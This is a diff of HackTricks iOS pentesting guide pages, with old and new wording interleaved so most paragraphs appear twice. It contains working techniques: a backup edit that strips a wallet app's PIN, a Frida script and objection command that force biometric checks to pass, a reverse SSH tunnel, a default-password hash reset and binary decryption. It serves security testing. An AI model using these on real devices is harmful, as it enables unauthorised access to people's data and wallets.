In case you need to work with an encrypted backup, there are some Python scripts in [DinoSec's GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), such as **backup\_tool.py** and **backup\_passwd.py**, that will serve as a good starting point. However, note that they might not work with the latest iTunes/Finder versions and might need to be tweaked.
For dealing with encrypted backups, Python scripts available in [DinoSec's GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), like **backup_tool.py** and **backup_passwd.py**, may be useful, albeit potentially requiring adjustments for compatibility with the latest iTunes/Finder versions. The [**iOSbackup** tool](https://pypi.org/project/iOSbackup/) is another option for accessing files within password-protected backups.
You can also use the tool [**iOSbackup**](https://pypi.org/project/iOSbackup/) to easily read and extract files from a password-encrypted iOS backup.
### Modifying App Behavior
**How to modify the behaviour**
An example of altering app behavior through backup modifications is demonstrated in the [Bither bitcoin wallet app](https://github.com/bither/bither-ios), where the UI lock PIN is stored within `net.bither.plist` under the **pin_code** key. Removing this key from the plist and restoring the backup removes the PIN requirement, providing unrestricted access.
In the open source bitcoin wallet app, [Bither](https://github.com/bither/bither-ios), you'll see that it's possible to configure a PIN to lock the UI.\
This is PIN is stored in the file `net.bither.plist` inside the **pin\_code** **key**.\
If you clear this key from that plist in the backup and restores the backup, you will be able to access the wallet.
## Summary on Memory Testing for Sensitive Data
## Testing Memory for Sensitive Data
When dealing with sensitive information stored in an application's memory, it is crucial to limit the exposure time of this data. There are two primary approaches to investigate memory content: **creating a memory dump** and **analyzing the memory in real time**. Both methods have their challenges, including the potential to miss critical data during the dump process or analysis.
At some point sensitive information is going to be stored in memory. The objective is to make sure that this info is exposed as briefly as possible.
## **Retrieving and Analyzing a Memory Dump**
To investigate an application's memory, first create a **memory dump**. Alternatively, you can **analyze the memory in real time** with, for example, a debugger. Regardless of the method you use, this is a very error-prone process because dumps provide the data left by executed functions and you might miss executing critical steps. In addition, overlooking data during analysis is quite easy to do unless you know the footprint of the data you're looking for (either its exact value or its format). For example, if the app encrypts according to a randomly generated symmetric key, you're very unlikely to spot the key in memory unless you find its value by other means.
For both jailbroken and non-jailbroken devices, tools like [objection](https://github.com/sensepost/objection) and [Fridump](https://github.com/Nightbringer21/fridump) allow for the dumping of an app's process memory. Once dumped, analyzing this data requires various tools, depending on the nature of the information you're searching for.
**Retrieving and Analyzing a Memory Dump**
Wether you are using a jailbroken or a non-jailbroken device, you can dump the app's process memory with [objection](https://github.com/sensepost/objection) and [Fridump](https://github.com/Nightbringer21/fridump).
After the memory has been dumped (e.g. to a file called "memory"), depending on the nature of the data you're looking for, you'll need a set of different tools to process and analyze that memory dump. For instance, if you're focusing on strings, it might be sufficient for you to execute the command `strings` or `rabin2 -zz` to extract those strings.
To extract strings from a memory dump, commands such as `strings` or `rabin2 -zz` can be used:
```bash
# using strings
# Extracting strings using strings command
$ strings memory > strings.txt
# using rabin2
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```
Open `strings.txt` in your favorite editor and dig through it to identify sensitive information.
However if you'd like to inspect other kind of data, you'd rather want to use radare2 and its search capabilities. See radare2's help on the search command (`/?`) for more information and a list of options. The following shows only a subset of them:
For more detailed analysis, including searching for specific data types or patterns, **radare2** offers extensive search capabilities:
```bash
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
Usage: /[!bf] [arg] Search stuff (see 'e??search' for options)
|Use io.va for searching in non virtual addressing spaces
| / foo\x00 search for string 'foo\0'
| /c[ar] search for crypto materials
| /e /E.F/i match regular expression
| /i foo search for string 'foo' ignoring case
| /m[?][ebm] magicfile search for magic, filesystems or binary headers
| /v[1248] value look for an `cfg.bigendian` 32bit value
| /w foo search for wide string 'f\0o\0o\0'
| /x ff0033 search for hex string
| /z min max search for strings of given size
...
```
**Runtime Memory Analysis**
## **Runtime Memory Analysis**
By using [**r2frida**](https://github.com/nowsecure/r2frida) you can analyze and inspect the app's memory while running and without needing to dump it. For example, you may run the previous search commands from r2frida and search the memory for a string, hexadecimal values, etc. When doing so, remember to prepend the search command (and any other r2frida specific commands) with a backslash `\` after starting the session with `r2 frida://usb//<name_of_your_app>`.
**r2frida** provides a powerful alternative for inspecting an app's memory in real time, without needing a memory dump. This tool enables the execution of search commands directly on the running application's memory:
```bash
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
```
## Broken Cryptography
@ -884,41 +818,39 @@ For **more information** about iOS cryptographic APIs and libraries access [http
## Local Authentication
The tester should be aware that **local authentication should always be enforced at a remote endpoint** or based on a cryptographic primitive. Attackers can easily bypass local authentication if no data returns from the authentication process.
**Local authentication** plays a crucial role, especially when it concerns safeguarding access at a remote endpoint through cryptographic methods. The essence here is that without proper implementation, local authentication mechanisms can be circumvented.
The [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) provides a set of APIs for developers to extend an authentication dialog to a user. In the context of connecting to a remote service, it is possible (and recommended) to leverage the [keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) for implementing local authentication.
Apple's **[Local Authentication framework](https://developer.apple.com/documentation/localauthentication)** and the **[keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)** provide robust APIs for developers to facilitate user authentication dialogs and securely handle secret data, respectively. The Secure Enclave secures fingerprint ID for Touch ID, whereas Face ID relies on facial recognition without compromising biometric data.
The **fingerprint ID** sensor is operated by the [SecureEnclave security coprocessor](https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf) and does not expose fingerprint data to any other parts of the system. Next to Touch ID, Apple introduced _Face ID_: which allows authentication based on facial recognition.
Developers have two options for incorporating Touch ID/Face ID authentication:
* `LocalAuthentication.framework` is a high-level API that can be used to **authenticate the user via Touch ID**. The app can't access any data associated with the enrolled fingerprint and is notified only whether authentication was successful.
* `Security.framework` is a lower level API to access [keychain services](https://developer.apple.com/documentation/security/keychain\_services). This is a secure option if your app needs to **protect some secret data with biometric authentication**, since the access control is managed on a system-level and can not easily be bypassed. `Security.framework` has a C API, but there are several [open source wrappers available](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id), making access to the keychain as simple as to NSUserDefaults.
To integrate Touch ID/Face ID, developers have two API choices:
- **`LocalAuthentication.framework`** for high-level user authentication without access to biometric data.
- **`Security.framework`** for lower-level keychain services access, securing secret data with biometric authentication. Various [open-source wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) make keychain access simpler.
{% hint style="danger" %}
Please be aware that using either the `LocalAuthentication.framework` or the `Security.framework`, will be a control that can be bypassed by an attacker as it does only return a boolean and no data to proceed with. See [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM) for more details.
However, both `LocalAuthentication.framework` and `Security.framework` present vulnerabilities, as they primarily return boolean values without transmitting data for authentication processes, making them susceptible to bypassing (refer to [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
{% endhint %}
### Local Authentication Framework
### Implementing Local Authentication
Developers can display an **authentication prompt** by utilizing the function **`evaluatePolicy`** of the **`LAContext`** class. Two available policies define acceptable forms of authentication:
To prompt users for authentication, developers should utilize the **`evaluatePolicy`** method within the **`LAContext`** class, choosing between:
- **`deviceOwnerAuthentication`**: Prompts for Touch ID or device passcode, failing if neither is enabled.
- **`deviceOwnerAuthenticationWithBiometrics`**: Exclusively prompts for Touch ID.
* `deviceOwnerAuthentication`(Swift) or `LAPolicyDeviceOwnerAuthentication`(Objective-C): When available, the user is prompted to perform Touch ID authentication. If Touch ID is not activated, the device passcode is requested instead. If the device passcode is not enabled, policy evaluation fails.
* `deviceOwnerAuthenticationWithBiometrics` (Swift) or `LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C): Authentication is restricted to biometrics where the user is prompted for Touch ID.
The **`evaluatePolicy` function returns a boolean** value indicating whether the user has authenticated successfully. Which means that it can be easily bypassed (see below)
A successful authentication is indicated by a boolean return value from **`evaluatePolicy`**, highlighting a potential security flaw.
### Local Authentication using Keychain
The **iOS keychain APIs can (and should) be used to implement local authentication**. During this process, the app stores either a secret authentication token or another piece of secret data identifying the user in the keychain. In order to authenticate to a remote service, the user must unlock the keychain using their passphrase or fingerprint to obtain the secret data.
Implementing **local authentication** in iOS apps involves the use of **keychain APIs** to securely store secret data such as authentication tokens. This process ensures that the data can only be accessed by the user, using their device passcode or biometric authentication like Touch ID.
The keychain allows saving items with the special `SecAccessControl` attribute, which will allow access to the item from the keychain only after the user has passed Touch ID authentication (or passcode, if such a fallback is allowed by attribute parameters).
The keychain offers the capability to set items with the `SecAccessControl` attribute, which restricts access to the item until the user successfully authenticates via Touch ID or device passcode. This feature is crucial for enhancing security.
In the following example we will save the string "test\_strong\_password" to the keychain. The string can be accessed only on the current device while the passcode is set (`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` parameter) and after Touch ID authentication for the currently enrolled fingers only (`SecAccessControlCreateFlags.biometryCurrentSet` parameter):
Below are code examples in Swift and Objective-C demonstrating how to save and retrieve a string to/from the keychain, leveraging these security features. The examples specifically show how to set up access control to require Touch ID authentication and ensure the data is accessible only on the device it was set up on, under the condition that a device passcode is configured.
{% tabs %}
{% tab title="Swift" %}
```swift
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
// 1. create AccessControl object that will represent authentication settings
var error: Unmanaged<CFError>?
@ -1056,9 +988,11 @@ If `Security.framework` is used, only the second one will be shown.
### Local Authentication Framework Bypass
#### Objection
#### **Objection**
[**Objection Biometrics Bypass**](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) can be used to bypass LocalAuthentication. Objection **uses Frida to instrument the `evaluatePolicy` function so that it returns `True`** even if authentication was not successfully performed. Use the `ios ui biometrics_bypass` command to bypass the insecure biometric authentication. Objection will register a job, which will replace the `evaluatePolicy` result. It will work in both, Swift and Objective-C implementations.
Through the **Objection Biometrics Bypass**, located at [this GitHub page](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), a technique is available for overcoming the **LocalAuthentication** mechanism. The core of this approach involves leveraging **Frida** to manipulate the `evaluatePolicy` function, ensuring it consistently yields a `True` outcome, irrespective of the actual authentication success. This is particularly useful for circumventing flawed biometric authentication processes.
To activate this bypass, the following command is employed:
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
@ -1069,7 +1003,7 @@ If `Security.framework` is used, only the second one will be shown.
(agent) [3mhtws9x47q] Biometrics bypass hook complete
```
If vulnerable, the module will automatically bypass the login form.
This command sets off a sequence where Objection registers a task that effectively alters the outcome of the `evaluatePolicy` check to `True`.
#### Frida
@ -1103,7 +1037,9 @@ An example of a use of **`evaluatePolicy`** from [DVIA-v2 application](https://g
}
```
To bypass the Local Authentication, we have to write a Frida script that **bypasses** the aforementioned _**evaluatePolicy** \_ check. As you can see in the above-pasted code snippet, the **evaluatePolicy** uses a **callback** that determines the **result**. So, the easiest way to achieve the hack is to intercept that callback and make sure it always returns the_ **success=1**.
To achieve the **bypass** of Local Authentication, a Frida script is written. This script targets the **evaluatePolicy** check, intercepting its callback to ensure it returns **success=1**. By altering the callback's behavior, the authentication check is effectively bypassed.
The script below is injected to modify the result of the **evaluatePolicy** method. It changes the callback's result to always indicate success.
```swift
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
@ -1127,7 +1063,9 @@ if(ObjC.available) {
}
```
```
To inject the Frida script and bypass the biometric authentication, the following command is used:
```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
```
@ -1215,29 +1153,36 @@ For this purpose it's usually use [**JSPatch**](https://github.com/bang590/JSPat
### Third Parties
One problem of 3rd party SDKs is that there is **no granular control over the features offered by the SDK**. You could sue the SDK and have all features (including diagnostic leaks and insecure HTTP connections), or not use it. Also, usually it's no possible for the applications developers to **patch a vulnerability** on the SDK.\
Moreover some SDKs start **containing malware once they are very trusted** by the community.
A significant challenge with **3rd party SDKs** is the **lack of granular control** over their functionalities. Developers are faced with a choice: either integrate the SDK and accept all its features, including potential security vulnerabilities and privacy concerns, or forego its benefits entirely. Often, developers are unable to patch vulnerabilities within these SDKs themselves. Furthermore, as SDKs gain trust within the community, some may start to contain malware.
Besides, the features these services provide can involve t**racking services to monitor the user's behaviour** while using the app, selling banner advertisements, or improving the user experience. The downside to third-party services is that developers don't know the details of the code executed via third-party libraries. Consequently, no more information than is necessary should be sent to a service, and no sensitive information should be disclosed.
The services provided by third-party SDKs may include user behavior tracking, advertisement displays, or user experience enhancements. However, this introduces a risk as developers may not be fully aware of the code executed by these libraries, leading to potential privacy and security risks. It's crucial to limit the information shared with third-party services to what is necessary and ensure that no sensitive data is exposed.
The downside is that a **developer doesn’t know in detail what code is executed via 3rd party libraries** and therefore giving up visibility. Consequently it should be ensured that not more than the information needed is sent to the service and that no sensitive information is disclosed.
Implementation of third-party services usually comes in two forms: a standalone library or a full SDK. To protect user privacy, any data shared with these services should be **anonymized** to prevent the disclosure of Personal Identifiable Information (PII).
Most third-party services are implemented in two ways:
To identify the libraries an application uses, the **`otool`** command can be employed. This tool should be run against the application and each shared library it uses to discover additional libraries.
* with a standalone library
* with a full SDK
```bash
otool -L <application_path>
```
All data that's sent to third-party services should be anonymized to prevent exposure of PII (Personal Identifiable Information) that would allow the third party to identify the user account.
You can find the **libraries used by an application** by running **`otool`** against the app (and **running** it **against** **each** shared **library** to find more shared libraries used).
## **References**
## **References & More Resources**
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
* [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
## More Information
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/)
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
* [https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way](https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060)
* [https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/](https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
* [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS free course([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
* [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
* [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)

453
mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md
View file

@ -14,446 +14,195 @@ Other ways to support HackTricks:
</details>
## Getting the UDID of an iOS device
## **Summary of iOS Device Identification and Access**
{% hint style="info" %}
Perform this actions having **connected** the device to the computer via **USB** and having the **device** **unlocked**.
{% endhint %}
### **Identifying the UDID of an iOS Device**
The UDID is a 40-digit unique sequence of letters and numbers to identify an iOS device. You can find the UDID of your iOS device on macOS Catalina onwards in the **Finder app**, as iTunes is not available anymore in Catalina. Just select the connected iOS device in Finder and **click on the information under the name of the iOS** device to iterate through it. Besides the UDID, you can find the serial number, IMEI and other useful information.
To identify an iOS device uniquely, a 40-digit sequence known as the UDID is used. On macOS Catalina or newer, this can be found in the **Finder app**, as iTunes is no longer present. The device, once connected via USB and selected in Finder, reveals its UDID among other information when the details under its name are clicked through.
![](<../../.gitbook/assets/image (471).png>)
For versions of macOS prior to Catalina, iTunes facilitates the discovery of the UDID. Detailed instructions can be found [here](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
If you are using a macOS version before Catalina, you can find the [UDID of your iOS device via iTunes](http://www.iclarified.com/52179/how-to-find-your-iphones-udid), by selecting your device and clicking on "Serial Number" in the summary tab. When clicking on this you will iterate through different metadata of the iOS device including its UDID.
Command-line tools offer alternative methods for retrieving the UDID:
It is also possible to get the UDID via various command line tools on macOS while the device is attached via USB:
* By using the [I/O Registry Explorer](https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/TheRegistry/TheRegistry.html) tool `ioreg`:
```bash
$ ioreg -p IOUSB -l | grep "USB Serial"
| "USB Serial Number" = "9e8ada44246cee813e2f8c1407520bf2f84849ec"
```
* By using [ideviceinstaller](https://github.com/libimobiledevice/ideviceinstaller) (also available on Linux):
```bash
$ brew install ideviceinstaller
$ idevice_id -l
316f01bd160932d2bf2f95f1f142bc29b1c62dbc
```
* By using the system\_profiler:
```bash
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
2019-09-08 10:18:03.920 system_profiler[13251:1050356] SPUSBDevice: IOCreatePlugInInterfaceForService failed 0xe00002be
Serial Number: 64655621de6ef5e56a874d63f1e1bdd14f7103b1
```
* By using instruments:
```bash
$ instruments -s devices
```
## Accessing the Device Shell
After jailbreaking the device you should have installed some new app manager like **Cydia**.
### SSH
In order to enable SSH access to your iOS device you can install the **OpenSSH** **package**. Once installed, you can access your device via ssh running `ssh root@<device_ip_address>`, which will log you in as the root user:
* **Using I/O Registry Explorer tool `ioreg`:**
```bash
$ ssh root@192.168.197.234
root@192.168.197.234's password:
iPhone:~ root#
$ ioreg -p IOUSB -l | grep "USB Serial"
```
* **Using `ideviceinstaller` for macOS (and Linux):**
```bash
$ brew install ideviceinstaller
$ idevice_id -l
```
* **Utilizing `system_profiler`:**
```bash
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
```
* **Employing `instruments` to list devices:**
```bash
$ instruments -s devices
```
When accessing your iOS device via SSH consider the following:
### **Accessing the Device Shell**
* The **default users are `root` and `mobile`**.
* The default **password** for both is **`alpine`**.
> Remember to change the default password for both users `root` and `mobile` as anyone on the same network can find the IP address of your device and connect via the well-known default password, which will give them root access to your device.
### **Connect to a Device via SSH over USB**
During a real black box test, a reliable Wi-Fi connection may not be available. In this situation, you can use usbmuxd to connect to your device's SSH server via USB.
Connect macOS to an iOS device by installing and starting iproxy:
**SSH access** is enabled by installing the **OpenSSH package** post-jailbreak, allowing connections via `ssh root@<device_ip_address>`. It's crucial to change the default passwords (`alpine`) for users `root` and `mobile` to secure the device.
**SSH over USB** becomes necessary in the absence of Wi-Fi, using `iproxy` to map device ports for SSH connections. This setup enables SSH access through USB by running:
```bash
$ brew install libimobiledevice
$ iproxy 2222 22
waiting for connection
```
The above command maps port `22` on the iOS device to port `2222` on localhost. You can also [make iproxy run automatically in the background](https://iphonedevwiki.net/index.php/SSH\_Over\_USB) if you don't want to run the binary every time you want to SSH over USB.
With the following command in a new terminal window, you can connect to the device:
```bash
$ ssh -p 2222 root@localhost
root@localhost's password:
iPhone:~ root#
```
> Small note on USB of an iDevice: on an iOS device you cannot make data connections anymore after 1 hour of being in a locked state, unless you unlock it again due to the USB Restricted Mode, which was introduced with iOS 11.4.1
### On-device Shell App
While usually using an **on-device shell** (terminal emulator) might be very tedious compared to a remote shell, it can prove handy for debugging in case of, for example, network issues or check some configuration. For example, you can install [NewTerm 2](https://repo.chariz.io/package/ws.hbang.newterm2/) via Cydia for this purpose (it supports iOS 6.0 to 12.1.2 at the time of this writing).
In addition, there are a few jailbreaks that explicitly disable incoming SSH _for security reasons_. In those cases, it is very convenient to have an on-device shell app, which you can use to first SSH out of the device with a reverse shell, and then connect from your host computer to it.
Opening a reverse shell over SSH can be done by running the command `ssh -R <remote_port>:localhost:22 <username>@<host_computer_ip>`.
On the on-device shell app run the following command and, when asked, enter the password of the `mstg` user of the host computer:
```bash
ssh -R 2222:localhost:22 mstg@192.168.197.235
```
On your host computer run the following command and, when asked, enter the password of the `root` user of the iOS device:
```bash
$ ssh -p 2222 root@localhost
```
### **Forgotten Password**
**On-device shell applications**, like NewTerm 2, facilitate direct device interaction, especially useful for troubleshooting. **Reverse SSH shells** can also be established for remote access from the host computer.
If you forget your password and want to reset it to the default **`alpine`**:
### **Resetting Forgotten Passwords**
1. Edit the file `/private/etc/master.passwd` on your jailbroken iOS device using an on-device **terminal** or using apps like **Filza** or **iFile**
2. Find the lines:
To reset a forgotten password back to the default (`alpine`), editing the `/private/etc/master.passwd` file is necessary. This involves replacing the existing hash with the hash for `alpine` next to the `root` and `mobile` user entries.
```bash
root:xxxxxxxxx:0:0::0:0:System Administrator:/var/root:/bin/sh
mobile:xxxxxxxxx:501:501::0:0:Mobile User:/var/mobile:/bin/sh
```
3. Change `xxxxxxxxx` to `/smx7MYTQIi2M` (which is the hashed password `alpine`)
4. Save and exit
## **Data Transfer Techniques**
## Data Transfer
### **Transferring App Data Files**
### Copying App Data Files via SSH and SCP
As we know now, files from our app are stored in the Data directory. You can now simply archive the Data directory with `tar` and pull it from the device with `scp`:
**Archiving and Retrieval via SSH and SCP:** It's straightforward to archive the application's Data directory using `tar` and then transfer it using `scp`. The command below archives the Data directory into a .tgz file, which is then pulled from the device:
```bash
iPhone:~ root# tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
iPhone:~ root# exit
$ scp -P 2222 root@localhost:/tmp/data.tgz .
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
exit
scp -P 2222 root@localhost:/tmp/data.tgz .
```
### Using iFunbox
### **Graphical User Interface Tools**
[**iFunbox**](https://www.i-funbox.com/en/page-download.html) is a GUI application that can be used for several things (uploading/downloading files among them).\
Another GUI tool for this purpose is [**iExplorer**](https://macroplant.com/iexplorer).
**Using iFunbox and iExplorer:** These GUI tools are useful for managing files on iOS devices. However, starting with iOS 8.4, Apple restricted these tools' access to the application sandbox unless the device is jailbroken.
{% hint style="info" %}
Starting in iOS version 8.4, Apple has **restricted the third-party managers to access to the application sandbox**, so tools like iFunbox and iExplorer no longer display/retrieve files from apps installed on the device if the device isn't jailbroken.
{% endhint %}
### **Using Objection for File Management**
### Using Objection
When you are starting objection (`objection --gadget com.apple.mobilesafari explorer`) you will find the prompt within the Bundle directory.
**Interactive Shell with Objection:** Launching objection provides access to the Bundle directory of an app. From here, you can navigate to the app's Documents directory and manage files, including downloading and uploading them to and from the iOS device.
```bash
org.owasp.MSTG on (iPhone: 10.3.3) [usb] # pwd print
Current directory: /var/containers/Bundle/Application/DABF849D-493E-464C-B66B-B8B6C53A4E76/org.owasp.MSTG.app
objection --gadget com.apple.mobilesafari explorer
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
file download <filename>
```
Use the `env` command to get the directories of the app and navigate to the Documents directory.
## **Obtaining and Extracting Apps**
### **Acquiring the IPA File**
**Over-The-Air (OTA) Distribution Link:** Apps distributed for testing via OTA can be downloaded using the ITMS services asset downloader tool, which is installed via npm and used to save the IPA file locally.
```bash
org.owasp.MSTG on (iPhone: 10.3.3) [usb] # cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
/var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
npm install -g itms-services
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
```
With the command `file download <filename>` you can download a file from the iOS device to your host computer and can analyze it afterwards.
### **Extracting the App Binary**
1. **From an IPA:** Unzip the IPA to access the decrypted app binary.
2. **From a Jailbroken Device:** Install the app and extract the decrypted binary from memory.
### **Decryption Process**
**Manual Decryption Overview:** iOS app binaries are encrypted by Apple using FairPlay. To reverse-engineer, one must dump the decrypted binary from memory. The decryption process involves checking for the PIE flag, adjusting memory flags, identifying the encrypted section, and then dumping and replacing this section with its decrypted form.
**Checking and Modifying PIE Flag:**
```bash
org.owasp.MSTG on (iPhone: 10.3.3) [usb] # file download .com.apple.mobile_container_manager.metadata.plist
Downloading /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/.com.apple.mobile_container_manager.metadata.plist to .com.apple.mobile_container_manager.metadata.plist
Streaming file from device...
Writing bytes to destination...
Successfully downloaded /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/.com.apple.mobile_container_manager.metadata.plist to .com.apple.mobile_container_manager.metadata.plist
```
You can also upload files to the iOS device with `file upload <local_file_path>`.
## Obtaining and Extracting Apps
### Getting the IPA File from an OTA Distribution Link
During development, apps are sometimes provided to testers via over-the-air (OTA) distribution. In that situation, you'll receive an itms-services link, such as the following:
```
itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist
```
You can use the [ITMS services asset downloader](https://www.npmjs.com/package/itms-services) tool to download the IPA from an OTA distribution URL. Install it via npm:
```bash
$ npm install -g itms-services
```
Save the IPA file locally with the following command:
```bash
# itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
```
### Acquiring the App Binary
1. **From an IPA**:
If you have the IPA (probably including an already decrypted app binary), unzip it and you are ready to go. The app binary is located in the main bundle directory (.app), e.g. `Payload/Telegram X.app/Telegram X`. See the following subsection for details on the extraction of the property lists.
> On macOS's Finder, .app directories are opened by right-clicking them and selecting "Show Package Content". On the terminal you can just `cd` into them.
2. From a **Jailbroken device**:
If you don't have the original IPA, then you need a jailbroken device where you will **install the app** (e.g. via App Store). Once installed, you need to **extract the app binary from memory and rebuild the IPA file**. Because of DRM, the app binary file is encrypted when it is stored on the iOS device, so simply pulling it from the Bundle (either through SSH or Objection) will not be sufficient to reverse engineer it (read next section).
### Decryption (Manual)
Unlike an Android Application, the binary of an iOS app **can only be disassembled** and not decompiled.\
When an application is submitted to the app store, Apple first verifies the app conduct and before releasing it to the app-store, **Apple encrypts the binary using** [**FairPlay**](https://developer.apple.com/streaming/fps/). So the binary download from the app store is encrypted complicating ting the reverse-engineering tasks.
However, note that there are other **third party software that can be used to obfuscate** the resulting binaries.
In order to run the encrypted binary, the device needs to decrypt it in memory. Then, it's possible to **dump the decrypted binary from the memory**.
First, check if the binary is compiled with the PIE (Position Independent Code) flag:
```bash
otool -Vh Original_App #Check the last word of the last line of this code
Home:
Mach header
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 X86_64 ALL 0x00 EXECUTE 47 6080 NOUNDEFS DYLDLINK TWOLEVEL PIE
```
If it's set you can use the script [`change_macho_flags.py`](https://chromium.googlesource.com/chromium/src/+/49.0.2623.110/build/mac/change\_mach\_o\_flags.py) to remove it with python2:
```bash
python change_mach_o_flags.py --no-pie Original_App
otool -Vh Original_App
python change_macho_flags.py --no-pie Original_App
otool -Vh Hello_World
Hello_World:
Mach header
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC ARM V7 0x00 EXECUTE 22 2356 NOUNDEFS DYLDLINK TWOLEVEL MH_NO_HEAP_EXECUTION
```
Now that the PIE flag isn't set, the OS will load the program at a **fixed starting location** every-time. In order to find this **location** you can use:
**Identifying Encrypted Section and Dumping Memory:**
```bash
otool -l Original_App | grep -A 3 LC_SEGMENT | grep -A 1 __TEXT
segname __TEXT
vmaddr 0x00004000
```
Then, it's necessary to extract the the memory range that needs to be dumped:
Determine the encrypted section's start and end addresses using `otool` and dump the memory from the jailbroken device using gdb.
```bash
